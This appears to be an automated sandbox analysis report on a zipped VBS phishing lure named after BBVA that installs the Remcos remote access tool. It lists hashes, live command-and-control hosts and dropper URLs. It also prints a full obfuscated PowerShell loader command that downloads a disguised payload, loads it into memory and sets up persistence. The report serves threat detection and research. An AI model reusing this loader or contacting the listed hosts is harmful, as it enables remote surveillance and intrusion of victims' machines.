Analysis

  • max time kernel
    150s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    17-12-2024 11:02

General

  • Target

    BBVA S.A..zip

  • Size

    23KB

  • MD5

    42bc1262d2fe817bac3d0fea7dd44272

  • SHA1

    88065e0d443784c785bd59102b3c04174a755f4c

  • SHA256

    4b349b3989f10da33cac17836fb872838df4f34ba89e807de0bcf2cf0982c26c

  • SHA512

    830ce44e0106f0df0e50891045c78e99b89c3a23d88874c59a130838c3786b1d93c76f6fefad176afd08476506532be0961236b7dac43b5b130ab33159549d3f

  • SSDEEP

    384:1rDuzBMT8X+fI2K9zWSxWIEO5KGudP8TdlmHCOjNLuDJMH9kc2czj/aIyE:RuFMs+nKZW4WIEIaEdlbOjZuJU9kc2cj

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://res.cloudinary.com/dzvai86uh/image/upload/v1734315244/m3gtbqktvnocyvm410aa.jpg

exe.dropper

https://res.cloudinary.com/dzvai86uh/image/upload/v1734315244/m3gtbqktvnocyvm410aa.jpg

Extracted

Family

remcos

Botnet

NEW

C2

rem.pushswroller.eu:23101

firewarzone.ydns.eu:23101

sun.drillmmcsnk.eu:23101

Attributes
  • audio_folder

    MicRecords

  • audio_path

    ApplicationPath

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmcghghyrtssxr-7RL1P2

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Remcos family
  • Blocklisted process makes network request 7 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Program Files\7-Zip\7zFM.exe
    "C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\BBVA S.A..zip"
    1⤵
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:4692
    • C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zO452BF7A7\BBVA S.A..vbs"
      2⤵
      • Blocklisted process makes network request
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:4656
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $concessionaries = 'aWYgKCRudWxsIC1uZSAkUFNWZXJzaW9uVGFibGUgLWFuZCAkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIC1uZSAkbnVsbCkgeyBbdm9pZF0kUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIH0gZWxzZSB7IFdyaXRlLU91dHB1dCAnUG93ZXJTaGVsbCB2ZXJzaW9uIE5vdCBhdmFpbGFibGUnIH07aWYgKCRudWxsIC1uZSAkUFNWZXJzaW9uVGFibGUgLWFuZCAkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIC1uZSAkbnVsbCkgeyBbdm9pZF0kUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIH0gZWxzZSB7IFdyaXRlLU91dHB1dCAnUG93ZXJTaGVsbCB2ZXJzaW9uIE5vdCBhdmFpbGFibGUnIH07JHVubWF0ZXJuYWxseSA9ICdodHRwczovL3Jlcy5jbG91ZGluYXJ5LmNvbS9kenZhaTg2dWgvaW1hZ2UvdXBsb2FkL3YxNzM0MzE1MjQ0L20zZ3RicWt0dm5vY3l2bTQxMGFhLmpwZyc7JGJhZG1pbnRvbiA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7JHJvYWRtYWtlciA9ICRiYWRtaW50b24uRG93bmxvYWREYXRhKCR1bm1hdGVybmFsbHkpOyRQaXNjZXMgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkcm9hZG1ha2VyKTskY2FwcmlmaWN1cyA9ICc8PEJBU0U2NF9TVEFSVD4+JzskYmlydGhlcnMgPSAnPDxCQVNFNjRfRU5EPj4nOyRkaXNwb3NlZGx5ID0gJFBpc2Nlcy5JbmRleE9mKCRjYXByaWZpY3VzKTskcGljdHVyZSA9ICRQaXNjZXMuSW5kZXhPZigkYmlydGhlcnMpOyRkaXNwb3NlZGx5IC1nZSAwIC1hbmQgJHBpY3R1cmUgLWd0ICRkaXNwb3NlZGx5OyRkaXNwb3NlZGx5ICs9ICRjYXByaWZpY3VzLkxlbmd0aDskYmVlZnN0ZWFrID0gJHBpY3R1cmUgLSAkZGlzcG9zZWRseTskcmV0YXBpbmcgPSAkUGlzY2VzLlN1YnN0cmluZygkZGlzcG9zZWRseSwgJGJlZWZzdGVhayk7JGRpcmVjdGlvbnMgPSAtam9pbiAoJHJldGFwaW5nLlRvQ2hhckFycmF5KCkgfCBGb3JFYWNoLU9iamVjdCB7ICRfIH0pWy0xLi4tKCRyZXRhcGluZy5MZW5ndGgpXTskYmVpbGQgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRkaXJlY3Rpb25zKTskbG93ZXJjYXNlZCA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoJGJlaWxkKTskcm9vbWlseSA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoJ1ZBSScpOyRyb29taWx5Lkludm9rZSgkbnVsbCwgQCgnMC9QWHJVSS9yL2VlLmV0c2FwLy86c3B0dGgnLCAnbXVkd2VlZCcsICdtdWR3ZWVkJywgJ211ZHdlZWQnLCAnYXNwbmV0X2NvbXBpbGVyJywgJ211ZHdlZWQnLCdtdWR3ZWVkJywnbXVkd2VlZCcsJ2hhZW1hdGFjaG9tZXRlcicsICdDOlxQcm9ncmFtRGF0YVwnLCdoYWVtYXRhY2hvbWV0ZXInLCd2YnMnLCcxJywnMScsJ1Rhc2tOYW1lJykpO2lmICgkbnVsbCAtbmUgJFBTVmVyc2lvblRhYmxlIC1hbmQgJFBTVmVyc2lvblRhYmxlLlBTVmVyc2lvbiAtbmUgJG51bGwpIHsgW3ZvaWRdJFBTVmVyc2lvblRhYmxlLlBTVmVyc2lvbiB9IGVsc2UgeyBXcml0ZS1PdXRwdXQgJ1Bvd2VyU2hlbGwgdmVyc2lvbiBOb3QgYXZhaWxhYmxlJyB9O2lmICgkbnVsbCAtbmUgJFBTVmVyc2lvblRhYmxlIC1hbmQgJFBTVmVyc2lvblRhYmxlLlBTVmVyc2lvbiAtbmUgJG51bGwpIHsgW3ZvaWRdJFBTVmVyc2lvblRhYmxlLlBTVmVyc2lvbiB9IGVsc2UgeyBXcml0ZS1PdXRwdXQgJ1Bvd2VyU2hlbGwgdmVyc2lvbiBOb3QgYXZhaWxhYmxlJyB9Ow==';$neurologically = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($concessionaries));Invoke-Expression $neurologically
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4936
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /C copy *.vbs "C:\ProgramData\haematachometer.vbs"
          4⤵
            PID:3500
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
            4⤵
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: GetForegroundWindowSpam
            • Suspicious use of SetWindowsHookEx
            PID:404
    • C:\Windows\system32\wscript.exe
      wscript.exe C:\ProgramData\haematachometer.vbs
      1⤵
      • Blocklisted process makes network request
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:4284
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $concessionaries = 'aWYgKCRudWxsIC1uZSAkUFNWZXJzaW9uVGFibGUgLWFuZCAkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIC1uZSAkbnVsbCkgeyBbdm9pZF0kUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIH0gZWxzZSB7IFdyaXRlLU91dHB1dCAnUG93ZXJTaGVsbCB2ZXJzaW9uIE5vdCBhdmFpbGFibGUnIH07aWYgKCRudWxsIC1uZSAkUFNWZXJzaW9uVGFibGUgLWFuZCAkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIC1uZSAkbnVsbCkgeyBbdm9pZF0kUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIH0gZWxzZSB7IFdyaXRlLU91dHB1dCAnUG93ZXJTaGVsbCB2ZXJzaW9uIE5vdCBhdmFpbGFibGUnIH07JHVubWF0ZXJuYWxseSA9ICdodHRwczovL3Jlcy5jbG91ZGluYXJ5LmNvbS9kenZhaTg2dWgvaW1hZ2UvdXBsb2FkL3YxNzM0MzE1MjQ0L20zZ3RicWt0dm5vY3l2bTQxMGFhLmpwZyc7JGJhZG1pbnRvbiA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7JHJvYWRtYWtlciA9ICRiYWRtaW50b24uRG93bmxvYWREYXRhKCR1bm1hdGVybmFsbHkpOyRQaXNjZXMgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkcm9hZG1ha2VyKTskY2FwcmlmaWN1cyA9ICc8PEJBU0U2NF9TVEFSVD4+JzskYmlydGhlcnMgPSAnPDxCQVNFNjRfRU5EPj4nOyRkaXNwb3NlZGx5ID0gJFBpc2Nlcy5JbmRleE9mKCRjYXByaWZpY3VzKTskcGljdHVyZSA9ICRQaXNjZXMuSW5kZXhPZigkYmlydGhlcnMpOyRkaXNwb3NlZGx5IC1nZSAwIC1hbmQgJHBpY3R1cmUgLWd0ICRkaXNwb3NlZGx5OyRkaXNwb3NlZGx5ICs9ICRjYXByaWZpY3VzLkxlbmd0aDskYmVlZnN0ZWFrID0gJHBpY3R1cmUgLSAkZGlzcG9zZWRseTskcmV0YXBpbmcgPSAkUGlzY2VzLlN1YnN0cmluZygkZGlzcG9zZWRseSwgJGJlZWZzdGVhayk7JGRpcmVjdGlvbnMgPSAtam9pbiAoJHJldGFwaW5nLlRvQ2hhckFycmF5KCkgfCBGb3JFYWNoLU9iamVjdCB7ICRfIH0pWy0xLi4tKCRyZXRhcGluZy5MZW5ndGgpXTskYmVpbGQgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRkaXJlY3Rpb25zKTskbG93ZXJjYXNlZCA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoJGJlaWxkKTskcm9vbWlseSA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoJ1ZBSScpOyRyb29taWx5Lkludm9rZSgkbnVsbCwgQCgnMC9QWHJVSS9yL2VlLmV0c2FwLy86c3B0dGgnLCAnbXVkd2VlZCcsICdtdWR3ZWVkJywgJ211ZHdlZWQnLCAnYXNwbmV0X2NvbXBpbGVyJywgJ211ZHdlZWQnLCdtdWR3ZWVkJywnbXVkd2VlZCcsJ2hhZW1hdGFjaG9tZXRlcicsICdDOlxQcm9ncmFtRGF0YVwnLCdoYWVtYXRhY2hvbWV0ZXInLCd2YnMnLCcxJywnMScsJ1Rhc2tOYW1lJykpO2lmICgkbnVsbCAtbmUgJFBTVmVyc2lvblRhYmxlIC1hbmQgJFBTVmVyc2lvblRhYmxlLlBTVmVyc2lvbiAtbmUgJG51bGwpIHsgW3ZvaWRdJFBTVmVyc2lvblRhYmxlLlBTVmVyc2lvbiB9IGVsc2UgeyBXcml0ZS1PdXRwdXQgJ1Bvd2VyU2hlbGwgdmVyc2lvbiBOb3QgYXZhaWxhYmxlJyB9O2lmICgkbnVsbCAtbmUgJFBTVmVyc2lvblRhYmxlIC1hbmQgJFBTVmVyc2lvblRhYmxlLlBTVmVyc2lvbiAtbmUgJG51bGwpIHsgW3ZvaWRdJFBTVmVyc2lvblRhYmxlLlBTVmVyc2lvbiB9IGVsc2UgeyBXcml0ZS1PdXRwdXQgJ1Bvd2VyU2hlbGwgdmVyc2lvbiBOb3QgYXZhaWxhYmxlJyB9Ow==';$neurologically = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($concessionaries));Invoke-Expression $neurologically
        2⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:5100
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
          3⤵
            PID:436

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751

        Filesize

        734B

        MD5

        e192462f281446b5d1500d474fbacc4b

        SHA1

        5ed0044ac937193b78f9878ad7bac5c9ff7534ff

        SHA256

        f1ba9f1b63c447682ebf9de956d0da2a027b1b779abef9522d347d3479139a60

        SHA512

        cc69a761a4e8e1d4bf6585aa8e3e5a7dfed610f540a6d43a288ebb35b16e669874ed5d2b06756ee4f30854f6465c84ee423502fc5b67ee9e7758a2dab41b31d3

      • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751

        Filesize

        192B

        MD5

        8b72fcc30f7d4912cbee452e8446d84c

        SHA1

        b9b59d10dd6cfb27190a314cd8dc4f0b7d8cc1e9

        SHA256

        ccfe6a7735c150de1c2b3b5a8426da8f82207342e7f50bbb8df2cd4dd400b23e

        SHA512

        8da520fe7a97e7a875f3dbd5532c89f45498b875138eb63ca1d7bb5ce4aba25b39fe14c9df93ad4a1e054f9cfa1ea44b64cbb28292bb9e88f4b6d1971a98f7b4

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

        Filesize

        3KB

        MD5

        f41839a3fe2888c8b3050197bc9a0a05

        SHA1

        0798941aaf7a53a11ea9ed589752890aee069729

        SHA256

        224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

        SHA512

        2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\FQRZN8O7\LDDIb[1].txt

        Filesize

        77KB

        MD5

        ea91e5a559cf86c5cc019abc9f4bd827

        SHA1

        c4d9d354cde9689da348b6db214b35a1c1a807bf

        SHA256

        a1dc46e1455acf53be3a11104d1930152a3b223aac8a520da0a6a4e370842308

        SHA512

        0603463b0fcdaeede0f600d098d2ba7a99ed1d446f6b9476558575cca5da18a9808f4fe1420831b831d5bc4adc6152d5ad5b697e7c33cecbbec00d27bf2c4a10

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        4665a94de698482478a11265a0f939c4

        SHA1

        50bbe45a006da471375dd986ab637d1717649c1c

        SHA256

        e7d50e69989c9c0fe9df96e44c32cb16fd1a83b4cf38b686a7068f7b04d694f1

        SHA512

        c7876f37866f74bc61133d5b4997976101a4f357a317d8f149a0d8f778f9e9a24af34adc153afc968c492a874303dd8786f014b9c09aae8e4f04aee03aa33cbd

      • C:\Users\Admin\AppData\Local\Temp\7zO452BF7A7\BBVA S.A..vbs

        Filesize

        167KB

        MD5

        3c217b6a70e1ff5e6ecb71ca0e89644a

        SHA1

        d158bcee429368797c22f4c2f9a305c2ff37beae

        SHA256

        4e66fdbc38893f545b9088331861312e46e612bc9f4f96a9c88b286588680bf9

        SHA512

        38bb4918e229bb83c0f7f4f3ca086253f22197f44887f81dbe4aad019811b91799bc9206155c99906855372cdc0eb09f778913d8d2b59423c3b5e550585672db

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1tappjj0.wyj.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • memory/404-25-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/404-28-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/404-30-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/404-31-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/404-32-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/404-36-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/404-37-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/404-38-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/404-39-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/404-29-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/404-24-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/404-21-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/404-61-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/404-62-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/404-56-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/404-57-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/436-60-0x0000000000400000-0x000000000047F000-memory.dmp

        Filesize

        508KB

      • memory/4936-18-0x000002E6AF0B0000-0x000002E6AF0D2000-memory.dmp

        Filesize

        136KB

      • memory/4936-19-0x000002E6D7770000-0x000002E6D791A000-memory.dmp

        Filesize

        1.7MB